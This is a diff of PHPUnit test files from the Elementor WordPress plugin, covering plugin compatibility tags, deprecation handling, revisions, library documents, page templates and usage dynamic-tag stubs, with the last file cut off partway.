if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Compatibility_Tag_Report extends Elementor_Test_Base {
public function test_get_report_data() {
// Arrange
$report = $this->create_instance();
// Act
$result = $report->get_report_data();
// Assert
$this->assertArrayHasKey( 'value', $result );
$this->assertEqualSets( [
'a' => Compatibility_Tag::COMPATIBLE,
'b' => Compatibility_Tag::INCOMPATIBLE,
], $result['value'] );
}
public function test_get_report_data__with_html_format() {
// Arrange
$report = $this->create_instance( 'html' );
// Act
$result = $report->get_report_data();
// Assert
$this->assertArrayHasKey( 'value', $result );
$this->assertRegExp( '/<tr><td> A <\/td><td> Compatible <\/td><\/tr>/', $result['value'] );
$this->assertRegExp( '/<tr><td> B <\/td><td> Incompatible <\/td><\/tr>/', $result['value'] );
}
public function test_get_report_data__with_raw_format() {
// Arrange
$report = $this->create_instance( 'raw' );
// Act
$result = $report->get_report_data();
// Assert
$this->assertArrayHasKey( 'value', $result );
$this->assertRegExp( '/A: Compatible/', $result['value'] );
$this->assertRegExp( '/B: Incompatible/', $result['value'] );
}
/**
* @param string $format
*
* @return Compatibility_Tag_Report
* @throws \Exception
*/
private function create_instance( $format = '' ) {
$this->mock_wp_api(
[
'get_plugins' => new Collection( [
'a' => [ 'Name' => 'A' ],
'b' => [ 'Name' => 'B' ],
] )
]
);
$compatibility_tag_service = $this->getMockBuilder( Compatibility_Tag::class )
->setConstructorArgs( [ 'a' ] )
->getMock();
$compatibility_tag_service->method( 'check' )
->willReturn( [
'a' => Compatibility_Tag::COMPATIBLE,
'b' => Compatibility_Tag::INCOMPATIBLE,
] );
return new Compatibility_Tag_Report(
[
'format' => $format,
'fields' => [
'compatibility_tag_service' => $compatibility_tag_service,
'plugin_label' => 'Elementor',
'plugin_version' => Version::create_from_string( '3.0.0' ),
'plugins_to_check' => [ 'a', 'b' ],
],
]
);
}
}

View File

@@ -0,0 +1,61 @@
<?php
namespace Elementor\Testing\Modules\CompatibilityTag;
use Elementor\Core\Utils\Version;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Modules\CompatibilityTag\Module;
use Elementor\Modules\CompatibilityTag\Compatibility_Tag;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Compatibility_Tag extends Elementor_Test_Base {
public function test_check() {
// Arrange
$plugins = [
'old' => [
'Name' => 'old version plugin',
Module::PLUGIN_VERSION_TESTED_HEADER => '2.9.0',
],
'invalid' => [
'Name' => 'invalid version plugin',
Module::PLUGIN_VERSION_TESTED_HEADER => 'a.b.10',
],
'patch' => [
'Name' => 'patch version plugin',
Module::PLUGIN_VERSION_TESTED_HEADER => '3.1.0',
],
'tested' => [
'Name' => 'tested version plugin',
Module::PLUGIN_VERSION_TESTED_HEADER => '3.1.5',
],
'not_exists' => [
'Name' => 'header not exists plugin',
Module::PLUGIN_VERSION_TESTED_HEADER => '',
],
];
$this->mock_wp_api( [
'get_plugins' => $plugins,
] );
$service = new Compatibility_Tag( Module::PLUGIN_VERSION_TESTED_HEADER );
// Act
/** @var Compatibility_Tag $service */
$result = $service->check( Version::create_from_string( '3.1.5' ), array_keys( $plugins ) );
// Assert
$this->assertArrayHasKey( 'old', $result );
$this->assertEquals( Compatibility_Tag::INCOMPATIBLE, $result['old'] );
$this->assertArrayHasKey( 'invalid', $result );
$this->assertEquals( Compatibility_Tag::INVALID_VERSION, $result['invalid'] );
$this->assertArrayHasKey( 'patch', $result );
$this->assertEquals( Compatibility_Tag::COMPATIBLE, $result['patch'] );
$this->assertArrayHasKey( 'tested', $result );
$this->assertEquals( Compatibility_Tag::COMPATIBLE, $result['tested'] );
$this->assertArrayHasKey( 'not_exists', $result );
$this->assertEquals( Compatibility_Tag::HEADER_NOT_EXISTS, $result['not_exists'] );
}
}

View File

@@ -0,0 +1,78 @@
<?php
namespace Elementor\Testing\Modules\CompatibilityTag;
use Elementor\Core\Utils\Collection;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Modules\CompatibilityTag\Module;
use Elementor\Modules\CompatibilityTag\Compatibility_Tag;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Module extends Elementor_Test_Base {
public function test_on_plugin_update_message() {
$this->mock_wp_api( [
'get_plugins' => new Collection( [
'old' => [
'Name' => 'old version plugin',
Module::PLUGIN_VERSION_TESTED_HEADER => '2.9.0',
],
'invalid' => [
'Name' => 'invalid version plugin',
Module::PLUGIN_VERSION_TESTED_HEADER => 'a.b.10',
],
'patch' => [
'Name' => 'patch version plugin',
Module::PLUGIN_VERSION_TESTED_HEADER => '3.1.0',
],
'tested' => [
'Name' => 'tested version plugin',
Module::PLUGIN_VERSION_TESTED_HEADER => '3.1.5',
],
'not_exists' => [
'Name' => 'header not exists plugin',
Module::PLUGIN_VERSION_TESTED_HEADER => '',
],
'extends_elementor' => [
'Name' => 'extends elementor',
Module::PLUGIN_VERSION_TESTED_HEADER => '',
],
'regular' => [
'Name' => 'regular plugins',
Module::PLUGIN_VERSION_TESTED_HEADER => '',
],
'elementor/elementor.php' => [
'Name' => 'elementor core',
Module::PLUGIN_VERSION_TESTED_HEADER => ''
],
'elementor-beta/elementor-beta.php' => [
'Name' => 'elementor beta',
Module::PLUGIN_VERSION_TESTED_HEADER => ''
],
] ),
] );
new Module();
// Act
ob_start();
do_action('in_plugin_update_message-' . ELEMENTOR_PLUGIN_BASE, [
'new_version' => '3.1.5',
'Version' => '3.0.0'
] );
$result = ob_get_clean();
// Assert
$this->assertRegExp( '/old version plugin/', $result );
$this->assertRegExp( '/invalid version plugin/', $result );
$this->assertNotRegExp( '/patch version plugin/', $result );
$this->assertNotRegExp( '/tested version plugin/', $result );
$this->assertNotRegExp( '/header not exists plugin/', $result );
$this->assertRegExp( '/extends elementor/', $result );
$this->assertNotRegExp( '/regular plugins/', $result );
$this->assertNotRegExp( '/elementor core/', $result );
$this->assertNotRegExp( '/elementor beta/', $result );
}
}

View File

@@ -0,0 +1,252 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Common\DevTools;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Modules\DevTools\Module;
class Test_Deprecation extends Elementor_Test_Base {
/**
* @var \Elementor\Modules\DevTools\Deprecation
*/
private $deprecation;
public function setUp() {
parent::setUp();
$this->deprecation = Module::instance()->deprecation;
}
private function generate_versions_list( $versions_count = 100 ) {
$versions = [];
for ( $i = 0; $i < $versions_count; ++$i ) {
$versions [] = $this->deprecation->get_next_version( '0.0.0', $i );
}
return $versions;
}
public function test_get_total_major() {
$parsed_version = $this->deprecation->parse_version( '5.5.5' );
$total_major = $this->deprecation->get_total_major( $parsed_version );
$this->assertEquals( 55, $total_major );
$parsed_version = $this->deprecation->parse_version( '5.15.5' );
$total_major = $this->deprecation->get_total_major( $parsed_version );
$this->assertEquals( 65, $total_major );
$parsed_version = $this->deprecation->parse_version( '15.15.5' );
$total_major = $this->deprecation->get_total_major( $parsed_version );
$this->assertEquals( 165, $total_major );
$parsed_version = $this->deprecation->parse_version( '15.15.15' );
$total_major = $this->deprecation->get_total_major( $parsed_version );
$this->assertEquals( 165, $total_major );
}
public function test_get_next_version() {
$versions = $this->generate_versions_list( 11 );
$this->assertEquals( [
0 => '0.0.0',
1 => '0.1.0',
2 => '0.2.0',
3 => '0.3.0',
4 => '0.4.0',
5 => '0.5.0',
6 => '0.6.0',
7 => '0.7.0',
8 => '0.8.0',
9 => '0.9.0',
10 => '1.0.0',
], $versions );
}
public function test_parse_version_invalid() {
// Works in PHPUnit 7.5.14 with '@expectedException \PHPUnit\Framework\Error\Notice'.
$this->markTestSkipped( 'didnt found any solution for handling `trigger_error` in a PHPUnit version that runs in github checks.' );
return;
$this->deprecation->parse_version( '0.0' );
$this->deprecation->parse_version( '0.0.0.0 ' );
}
public function test_compare_version() {
$tests = [
[
'base_version' => '0.0.0',
'compare_version' => '0.0.0',
'diff' => 0,
],
[
'base_version' => '0.1.0',
'compare_version' => '0.0.0',
'diff' => 1,
],
[
'base_version' => '0.2.0',
'compare_version' => '0.0.0',
'diff' => 2,
],
[
'base_version' => '1.0.0',
'compare_version' => '0.0.0',
'diff' => 10,
],
[
'base_version' => '2.0.0',
'compare_version' => '0.0.0',
'diff' => 20,
],
[
'base_version' => '3.9.0',
'compare_version' => '0.0.0',
'diff' => 39,
],
[
'base_version' => '3.9.0',
'compare_version' => '0.1.0',
'diff' => 38,
],
[
'base_version' => '3.9.0',
'compare_version' => '0.2.0',
'diff' => 37,
],
[
'base_version' => '3.9.0',
'compare_version' => '1.0.0',
'diff' => 29,
],
[
'base_version' => '3.9.0',
'compare_version' => '1.14.0',
'diff' => 15,
],
[
'base_version' => '1.0.0',
'compare_version' => '3.9.0',
'diff' => -29,
],
[
'base_version' => '1.0.0',
'compare_version' => '3.15.0',
'diff' => -35,
],
[
'base_version' => '1.0.0',
'compare_version' => '2.2.2',
'diff' => -12,
],
[
'base_version' => '1.0.0',
'compare_version' => '2.2.2.2',
'diff' => -12,
],
[
'base_version' => '1.0.0',
'compare_version' => '2.2.2.2-beta1',
'diff' => -12,
],
];
foreach ( $tests as $test ) {
$this->assertEquals( $test['diff'], $this->deprecation->compare_version( $test['base_version'], $test['compare_version'] ) );
}
}
public function test_compare_version_major2_higher_then_9() {
// If you want to compare between 2.9.0 and 3.3.0, and there is also a 2.10.0 version, you cannot get the right comparison!.
$a_diff = $this->deprecation->compare_version( '2.10.0', '0.0.0' );
$b_diff = $this->deprecation->compare_version( '3.0.0', '0.0.0' );
// Since $this->deprecation->get_total_major cannot determine how much really versions between 2.9.0 and 3.3.0.
$this->assertEquals( $a_diff, $b_diff, 'They should be the same' );
}
public function test_compare_version_dynamic() {
$versions = $this->generate_versions_list();
$versions_reverse = array_reverse( $versions );
$count = count( $versions );
// 0.0.0 - 9.9.0 = -99 initial.
$dynamic_diff = -99;
for ( $i = 0; $i < $count; ++$i ) {
$base_version = $versions[ $i ];
$compare_version = $versions_reverse[ $i ];
$diff = $this->deprecation->compare_version( $base_version, $compare_version );
$this->assertEquals( $dynamic_diff, $diff, "base: '$base_version' cmp: '$compare_version' diff :'$diff'" );
$dynamic_diff = $dynamic_diff + 2;
}
$this->assertEquals( 101, $dynamic_diff );
}
public function test_deprecated_function_soft() {
$this->deprecation->deprecated_function( __FUNCTION__, '0.0.0', '', '0.4.0' );
$settings = $this->deprecation->get_settings();
$this->assertEquals( [
'0.0.0',
'',
], $settings['soft_notices']['test_deprecated_function_soft'] );
}
public function test_deprecated_function_hard() {
$this->setExpectedDeprecated( __FUNCTION__ );
$this->deprecation->deprecated_function( __FUNCTION__, '0.0.0', '', '0.5.0' );
}
public function test_do_deprecated_action() {
$this->setExpectedDeprecated( 'elementor/test/deprecated_action' );
add_action( 'elementor/test/deprecated_action', function() {
echo 'Testing Do Deprecated Action';
} );
ob_start();
$this->deprecation->do_deprecated_action( 'elementor/test/deprecated_action', [], '0.0.0', '', '0.5.0' );
$result = ob_get_clean();
$this->assertEquals( $result, 'Testing Do Deprecated Action' );
}
public function test_do_deprecated_action__soft() {
add_action( 'elementor/test/deprecated_action_soft', function() {
echo 'Testing Do Deprecated Action';
} );
$this->deprecation->do_deprecated_action( 'elementor/test/deprecated_action_soft', [], '0.0.0', '', '0.4.0' );
$settings = $this->deprecation->get_settings();
$this->assertEquals( [
'0.0.0',
'',
], $settings['soft_notices']['elementor/test/deprecated_action_soft'] );
}
public function test_apply_deprecated_filter() {
$hook = 'elementor/test/deprecated_filter';
$this->setExpectedDeprecated( $hook );
add_filter( $hook, function() {
return 'Testing Apply Deprecated Filter';
} );
$result = $this->deprecation->apply_deprecated_filter( $hook, [ '' ], '0.0.0', '', '0.5.0' );
$this->assertEquals( $result, 'Testing Apply Deprecated Filter' );
}
}

View File

@@ -0,0 +1,29 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Common\DevTools;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Modules\DevTools\Module;
class Elementor_Test_Module extends Elementor_Test_Base {
/**
* @var \Elementor\Modules\DevTools\Module
*/
private $module;
public function setUp() {
parent::setUp();
$this->module = new Module();
}
public function test_localize_settings() {
$this->module->deprecation->deprecated_function(__FUNCTION__, '0.0.0', '', '0.0.0' );
$result = $this->module->localize_settings( [] );
$this->assertEqualSets( [
'0.0.0',
'',
], $result['dev_tools']['deprecation']['soft_notices'][ __FUNCTION__ ] ); }
}

View File

@@ -0,0 +1,37 @@
<?php
namespace Elementor\Testing\Modules\Gutenberg;
use Elementor\Core\Base\Document;
use Elementor\Testing\Elementor_Test_Base;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Module extends Elementor_Test_Base {
public function test_register_elementor_rest_field() {
// Arrange
$this->act_as_admin();
$post = $this->factory()->create_and_get_custom_post( [
'type' => 'post',
'meta_input' => [
Document::BUILT_WITH_ELEMENTOR_META_KEY => 'builder',
],
] );
do_action( 'rest_api_init' );
// Act
$request = new \WP_REST_Request( 'POST', "/wp/v2/posts/{$post->ID}" );
$request->set_body_params( [
'gutenberg_elementor_mode' => false,
] );
rest_do_request( $request );
// Assert
$this->assertEmpty( get_post_meta( $post->ID, Document::BUILT_WITH_ELEMENTOR_META_KEY, true ) );
}
}

View File

@@ -0,0 +1,15 @@
<?php
namespace Elementor\Testing\Modules\History;
use Elementor\Modules\History\Module;
use Elementor\Testing\Elementor_Test_Base;
class Elementor_Test_Manager extends Elementor_Test_Base {
public function test_should_get_name() {
$Module = new Module();
$this->assertEquals( $Module->get_name(), 'history' );
}
}

View File

@@ -0,0 +1,36 @@
<?php
namespace Elementor\Testing\Modules\History;
use Elementor\Modules\History\Revisions_Manager;
use Elementor\Testing\Elementor_Test_AJAX;
class Elementor_Test_Revisions_Manager_Ajax extends Elementor_Test_AJAX {
private $revisions_manager;
public function setUp() {
parent::setUp();
if ( ! $this->revisions_manager ) {
$this->define_doing_ajax();
$this->revisions_manager = new Revisions_Manager();
}
}
public function test_should_return_revisions_data() {
$parent_and_child_posts = $this->factory()->create_and_get_parent_and_child_posts();
$parent_id = $parent_and_child_posts['parent_id'];
$child_id = $parent_and_child_posts['child_id'];
$document = $this->elementor()->documents->get( $parent_id );
$ret = apply_filters( 'elementor/documents/ajax_save/return_data', [], $document );
$this->assertArrayHaveKeys( [
'config',
'latest_revisions',
'revisions_ids',
], $ret );
$this->assertEquals( $child_id, $ret['config']['document']['revisions']['current_id'] );
$this->assertEquals( 2, count( $ret['latest_revisions'] ) );
$this->assertEquals( [ $parent_id, $child_id ], $ret['revisions_ids'] );
}
}

View File

@@ -0,0 +1,230 @@
<?php
namespace Elementor\Testing\Modules\History;
use Elementor\Core\Base\Document;
use Elementor\Modules\History\Revisions_Manager;
use Elementor\Testing\Elementor_Test_Base;
class Elementor_Test_Revisions_Manager extends Elementor_Test_Base {
private $fake_post_id = 1234;
public function test_should_return_false_from_handle_revision_hook() {
Revisions_Manager::handle_revision();
$this->assertFalse( apply_filters( 'wp_save_post_revision_check_for_changes', false ),
'the filter "wp_save_post_revision_check_for_changes" should return false' );
}
public function test_should_avoid_delete_auto_save() {
$post_content = 'post content';
$post_id = $this->factory()->create_and_get_custom_post( [ 'post_content' => $post_content ] )->ID;
$res = Revisions_Manager::avoid_delete_auto_save( $post_content, false );
$this->assertEquals( $post_content, $res, 'post content should not change' );
update_post_meta( $post_id, '_elementor_edit_mode', false );
$res = Revisions_Manager::avoid_delete_auto_save( $post_content, $post_id );
$this->assertEquals( $post_content, $res, 'post content should not change' );
update_post_meta( $post_id, '_elementor_edit_mode', true );
$res = Revisions_Manager::avoid_delete_auto_save( $post_content, $post_id );
$this->assertEquals( $post_content . '<!-- Created with Elementor -->', $res,
'post content should change, "<!-- Created with Elementor -->" should be added' );
}
public function test_should_remove_temp_post_content() {
global $post;
$temp_post = is_object( $post ) ? clone $post : $post;
$elementor_addon = '<!-- Created with Elementor -->';
$post_content = 'post content';
$post = $this->factory()->create_and_get_custom_post( [ 'post_content' => $post_content . $elementor_addon ] );
update_post_meta( $post->ID, '_elementor_edit_mode', false );
Revisions_Manager::remove_temp_post_content();
$this->assertEquals( $post->post_content, $post_content . $elementor_addon,
'post content should contain "<!-- Created with Elementor -->"' );
update_post_meta( $post->ID, '_elementor_edit_mode', true );
Revisions_Manager::remove_temp_post_content();
$this->assertEquals( $post->post_content, $post_content,
'post content should not contain "<!-- Created with Elementor -->"' );
$post = $temp_post;
}
public function test_should_get_revisions_id() {
$parent_and_child_posts = $this->factory()->create_and_get_parent_and_child_posts();
$parent_post_id = $parent_and_child_posts['parent_id'];
$child_post_id = $parent_and_child_posts['child_id'];
$ret = Revisions_Manager::get_revisions( $parent_post_id, [], false );
self::assertEquals( 2, count( $ret ) );
self::assertEquals( $ret[0], $parent_post_id );
self::assertEquals( $ret[1], $child_post_id );
$ret = Revisions_Manager::get_revisions( $child_post_id, [], false );
$this->assertEquals( $ret[0], $child_post_id );
$post_id = $this->factory()->create_and_get_default_post()->ID;
$ret = Revisions_Manager::get_revisions( $post_id, [], false );
$this->assertEquals( $ret[0], $post_id );
}
public function test_should_not_get_revisions() {
$ret = Revisions_Manager::get_revisions();
$this->assertEquals( $ret, [], 'get_revisions should return an empty array' );
}
public function test_should_get_revisions() {
$parent_and_child_posts = $this->factory()->create_and_get_parent_and_child_posts();
$parent_post_id = $parent_and_child_posts['parent_id'];
$child_post_id = $parent_and_child_posts['child_id'];
$ret = Revisions_Manager::get_revisions( $parent_post_id );
self::assertEquals( 2, count( $ret ) );
$this->assertArrayHaveKeys( [
'id',
'author',
'timestamp',
'date',
'type',
'gravatar',
], $ret[0] );
$this->assertArrayHaveKeys( [
'id',
'author',
'timestamp',
'date',
'type',
'gravatar',
], $ret[1] );
$ret = Revisions_Manager::get_revisions( $child_post_id );
self::assertEquals( 1, count( $ret ) );
$this->assertArrayHaveKeys( [
'id',
'author',
'timestamp',
'date',
'type',
'gravatar',
], $ret[0] );
}
public function test_should_update_autosave() {
$parent_and_child_posts = $this->setup_revision_check();
Revisions_Manager::update_autosave( [
'ID' => $parent_and_child_posts['child_id'],
] );
$this->assertTrue( $this->check_revisions( $parent_and_child_posts['parent_id'], $parent_and_child_posts['child_id'] ) );
}
public function test_should_save_revision() {
$parent_and_child_posts = $this->setup_revision_check();
Revisions_Manager::save_revision( $parent_and_child_posts['child_id'] );
$this->assertTrue( $this->check_revisions( $parent_and_child_posts['parent_id'], $parent_and_child_posts['child_id'] ) );
}
public function test_should_return_null_from_restore_revision() {
$res = $this->factory()->create_and_get_parent_and_child_posts();
$post_id = $res['parent_id'];
$autosave_post_id = $res['child_id'];
update_post_meta( $post_id, '_elementor_meta_data', 'content' );
Revisions_Manager::restore_revision( $post_id, $autosave_post_id );
$this->assertFalse( $this->check_revisions( $post_id, $autosave_post_id ) );
}
public function test_should_restore_revision() {
$res = $this->factory()->create_and_get_parent_and_child_posts();
$post_id = $res['parent_id'];
$autosave_post_id = $res['child_id'];
update_metadata( 'post', $autosave_post_id, Document::BUILT_WITH_ELEMENTOR_META_KEY, 'builder' );
update_metadata( 'post', $autosave_post_id, '_elementor_meta_data', 'content' );
Revisions_Manager::restore_revision( $post_id, $autosave_post_id );
$this->assertTrue( $this->check_revisions( $post_id, $autosave_post_id ) );
$this->assertEquals( 'builder', get_post_meta( $post_id, Document::BUILT_WITH_ELEMENTOR_META_KEY, true ) );
}
public function test_should_add_revision_support_for_all_post_types() {
Revisions_Manager::add_revision_support_for_all_post_types();
$supported_types = [ 'page', 'post', 'elementor_library' ];
foreach ( $supported_types as $supported_type ) {
$this->assertTrue( post_type_supports( $supported_type, 'elementor' ) );
}
}
public function test_should_return_false_from_db_before_save_hook() {
Revisions_Manager::db_before_save( 'status', true );
$this->assertFalse( apply_filters( 'wp_save_post_revision_check_for_changes', false ),
'the filter "wp_save_post_revision_check_for_changes" should return false' );
}
/**
* @expectedException \Exception
* @expectedExceptionMessage You must set the revision ID.
*/
public function test_should_not_get_revision_data_on_request_because_of_unset_revision_ID() {
Revisions_Manager::ajax_get_revision_data( [] );
}
/**
* @expectedException \Exception
* @expectedExceptionMessage Invalid revision.
*/
public function test_should_not_get_revision_data_on_request_because_of_invalid_revision() {
$args['id'] = $this->fake_post_id;
Revisions_Manager::ajax_get_revision_data( $args );
}
/**
* @expectedException \Exception
* @expectedExceptionMessage Access denied.
*/
public function test_should_not_get_revision_data_on_request_because_of_access_denied() {
wp_set_current_user( $this->factory()->get_subscriber_user()->ID );
$args['id'] = $this->factory()->create_and_get_default_post()->ID;
Revisions_Manager::ajax_get_revision_data( $args );
}
public function test_should_get_revision_data_on_request() {
wp_set_current_user( $this->factory()->create_and_get_administrator_user()->ID );
$args['id'] = $this->factory()->create_and_get_default_post()->ID;
$revision_data = Revisions_Manager::ajax_get_revision_data( $args );
$this->assertArrayHaveKeys( [ 'settings', 'elements' ], $revision_data );
}
private function setup_revision_check() {
$parent_and_child_posts = $this->factory()->create_and_get_parent_and_child_posts();
$post_id = $parent_and_child_posts['parent_id'];
update_post_meta( $post_id, '_elementor_edit_mode', true );
update_post_meta( $post_id, '_elementor_meta_data', 'content' );
return $parent_and_child_posts;
}
private function check_revisions( $post_id, $autosave_post_id ) {
$parent_elementor_meta_data = get_post_meta( $post_id, '_elementor_meta_data', true );
$child_elementor_meta_data = get_post_meta( $autosave_post_id, '_elementor_meta_data', true );
return $child_elementor_meta_data === $parent_elementor_meta_data;
}
}

View File

@@ -0,0 +1,20 @@
<?php
namespace Elementor\Testing\Modules\LandingPages;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Modules\LandingPages\Module;
use Elementor\Testing\Traits\Elementor_Library;
class Elementor_Test_Landing_Pages_Module extends Elementor_Test_Base {
use Elementor_Library;
public function test__construct() {
$this->assertDocumentTypeRegistered( Module::DOCUMENT_TYPE );
}
public function test_get_name() {
$this->assertEquals( 'landing-pages', Plugin::$instance->modules_manager->get_modules( 'landing-pages' )->get_name() );
}
}

View File

@@ -0,0 +1,25 @@
<?php
namespace Elementor\Testing\Modules\Library\Documents;
use Elementor\Modules\Library\Documents\Library_Document;
use Elementor\Testing\Elementor_Test_Base;
class Elementor_Test_Library_Document extends Elementor_Test_Base {
public function test_should_return_properties() {
$properties = Library_Document::get_properties();
$this->assertTrue( $properties['show_in_library'] );
$this->assertTrue( $properties['register_type'] );
}
public function test_should_save_type() {
$library_document = $this->getMockForAbstractClass( 'Elementor\Modules\Library\Documents\Library_Document',
[ [ 'post_id' => $this->factory()->create_and_get_default_post()->ID ] ] );
$library_document->method( 'get_name' )->willReturn( 'libraryTypeExample' );
$library_document->save_template_type();
$ret = wp_get_object_terms( $library_document->get_post()->ID, Library_Document::TAXONOMY_TYPE_SLUG );
$this->assertEquals( $ret[0]->name, 'libraryTypeExample' );
}
}

View File

@@ -0,0 +1,51 @@
<?php
namespace Elementor\Testing\Modules\Library\Documents;
use Elementor\Modules\Library\Documents\Page;
use Elementor\Testing\Elementor_Test_Base;
class Elementor_Test_Page extends Elementor_Test_Base {
/** @var Page */
private static $page;
public function setUp() {
parent::setUp();
self::$page = new Page( [ 'post_id' => self::factory()->create_and_get_default_post()->ID ] );
}
public function test_should_return_properties() {
$properties = Page::get_properties();
$this->assertTrue( $properties['support_wp_page_templates'] );
}
public function test_should_return_name() {
$name = self::$page->get_name();
$this->assertEquals( 'page', $name );
}
public function test_should_return_title() {
$title = Page::get_title();
$this->assertEquals( __( 'Page', 'elementor' ), $title );
}
public function test_should_return_css_wrapper_selector() {
$css_wrapper = self::$page->get_css_wrapper_selector();
$this->assertContains( 'body.elementor-page-', $css_wrapper );
}
public function test_should_register_controls() {
$page_reflection = new \ReflectionClass( 'Elementor\Modules\Library\Documents\Page' );
$method = $page_reflection->getMethod( '_register_controls' );
$method->setAccessible( true );
$method->invokeArgs( self::$page, [] );
$this->assertNotNull( self::$page->get_controls( 'post_status' ) );
$this->assertNotNull( self::$page->get_section_controls( 'section_page_style' ) );
}
}

View File

@@ -0,0 +1,29 @@
<?php
namespace Elementor\Testing\Modules\Library\Documents;
use Elementor\Modules\Library\Documents\Section;
use Elementor\Testing\Elementor_Test_Base;
class Elementor_Test_Section extends Elementor_Test_Base {
/** @var Section */
private static $section;
public static function setUpBeforeClass() {
self::$section = new Section();
parent::setUpBeforeClass();
}
public function test_should_return_name() {
$name = self::$section->get_name();
$this->assertEquals( 'section', $name );
}
public function test_should_return_title() {
$title = Section::get_title();
$this->assertEquals( __( 'Section', 'elementor' ), $title );
}
}

View File

@@ -0,0 +1,25 @@
<?php
namespace Elementor\Testing\Modules\Library;
use Elementor\Modules\Library\Module;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Testing\Traits\Elementor_Library;
class Elementor_Test_Module extends Elementor_Test_Base {
use Elementor_Library;
/** @var Module */
private static $module;
public function test_should_confirm_module_activation() {
self::$module = new Module();
$this->assertDocumentTypeRegistered( 'page' );
$this->assertDocumentTypeRegistered( 'section' );
}
public function test_should_return_library() {
$this->assertEquals( 'library', self::$module->get_name() );
}
}

View File

@@ -0,0 +1,144 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Modules\Page_Templates;
use Elementor\Core\Base\Document;
use Elementor\Modules\PageTemplates\Module as PageTemplatesModule;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
class Elementor_Test_Module extends Elementor_Test_Base {
public function test_template_include() {
// Arrange.
/** @var PageTemplatesModule $page_templates_module */
$page_templates_module = Plugin::$instance->modules_manager->get_modules( 'page-templates' );
/** @var Document $document */
$document = self::factory()->create_post();
$document->update_main_meta( '_wp_page_template', $page_templates_module::TEMPLATE_CANVAS );
// Simulate a singular query.
query_posts( [
'p' => $document->get_main_id(),
] );
the_post();
// Act.
$filtered_template = $page_templates_module->template_include( 'default' );
// Assert.
$this->assertEquals(
$page_templates_module->get_template_path( $page_templates_module::TEMPLATE_CANVAS ),
$filtered_template,
'it should return a canvas template based on post meta.'
);
}
public function test_template_include_kit_default_template() {
wp_set_current_user( $this->factory()->create_and_get_administrator_user()->ID );
// Arrange.
/** @var PageTemplatesModule $page_templates_module */
$page_templates_module = Plugin::$instance->modules_manager->get_modules( 'page-templates' );
$kit = Plugin::$instance->kits_manager->get_active_kit();
$kit->update_settings( [
'default_page_template' => $page_templates_module::TEMPLATE_CANVAS,
] );
// Refresh kit cache.
Plugin::$instance->documents->get( Plugin::$instance->kits_manager->get_active_id(), false );
/** @var Document $document */
$document = self::factory()->create_post();
// Simulate a singular query.
query_posts( [
'p' => $document->get_main_id(),
] );
the_post();
// Act.
$filtered_template = $page_templates_module->template_include( 'default' );
// Assert.
$this->assertEquals(
$page_templates_module->get_template_path( $page_templates_module::TEMPLATE_CANVAS ),
$filtered_template,
'it should return a canvas template based on kit default template.'
);
}
public function test_template_include_not_supported_document() {
wp_set_current_user( $this->factory()->create_and_get_administrator_user()->ID );
// Arrange.
/** @var PageTemplatesModule $page_templates_module */
$page_templates_module = Plugin::$instance->modules_manager->get_modules( 'page-templates' );
$kit = Plugin::$instance->kits_manager->get_active_kit();
$kit->update_settings( [
'default_page_template' => $page_templates_module::TEMPLATE_CANVAS,
] );
// Refresh kit cache.
Plugin::$instance->documents->get( Plugin::$instance->kits_manager->get_active_id(), false );
/** @var Document $document */
$document = self::factory()->create_post();
// Convert the document to the not supported document. (modules/library/documents/not-supported.php)
$document->update_main_meta( Document::TYPE_META_KEY, 'not-supported' );
// Refresh document cache.
Plugin::$instance->documents->get( $document->get_main_id(), false );
// Simulate a singular query.
query_posts( [
'p' => $document->get_main_id(),
] );
the_post();
// Act.
$filtered_template = $page_templates_module->template_include( 'default' );
// Assert.
$this->assertEquals(
'default',
$filtered_template,
'it should return a default template because the document is not support page templates'
);
}
public function test_template_include__theme_option_should_return_default() {
// Arrange.
/** @var PageTemplatesModule $page_templates_module */
$page_templates_module = Plugin::$instance->modules_manager->get_modules( 'page-templates' );
/** @var Document $document */
$document = self::factory()->create_post();
$document->update_main_meta( '_wp_page_template', $page_templates_module::TEMPLATE_THEME );
// Simulate a singular query.
query_posts( [
'p' => $document->get_main_id(),
] );
the_post();
// Act.
$filtered_template = $page_templates_module->template_include( 'default' );
// Assert.
$this->assertEquals(
'default',
$filtered_template,
'it should return a default template based on post meta (theme).'
);
}
}

View File

@@ -0,0 +1,31 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Modules\Usage\DynamicTags;
use Elementor\Core\DynamicTags\Base_Tag;
class Link extends Base_Tag
{
public function get_categories() {
return [];
}
public function get_group() {
return [];
}
public function get_title() {
return 'Link';
}
public function get_content( array $options = [] ) {
return '';
}
public function get_content_type() {
return '';
}
public function get_name() {
return 'post-url';
}
}

View File

@@ -0,0 +1,31 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Modules\Usage\DynamicTags;
use Elementor\Core\DynamicTags\Base_Tag;
class Title extends Base_Tag
{
public function get_categories() {
return [];
}
public function get_group() {
return [];
}
public function get_title() {
return 'Title';
}
public function get_content( array $options = [] ) {
return '';
}
public function get_content_type() {
return '';
}
public function get_name() {
return 'post-title';
}
}

View File

@@ -0,0 +1,403 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Modules\Usage;
use Elementor\Modules\Usage\Module;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Testing\Factories\Documents;
use Elementor\Tests\Phpunit\Elementor\Modules\Usage\DynamicTags\Link;
use Elementor\Tests\Phpunit\Elementor\Modules\Usage\DynamicTags\Title;
class Test_Module extends Elementor_Test_Base {
/**
* TODO: Remove - Backwards compatibility.
*
* @var array
*/
static $document_mock_default = [
'settings' => [
'post_status' => 'publish',
],
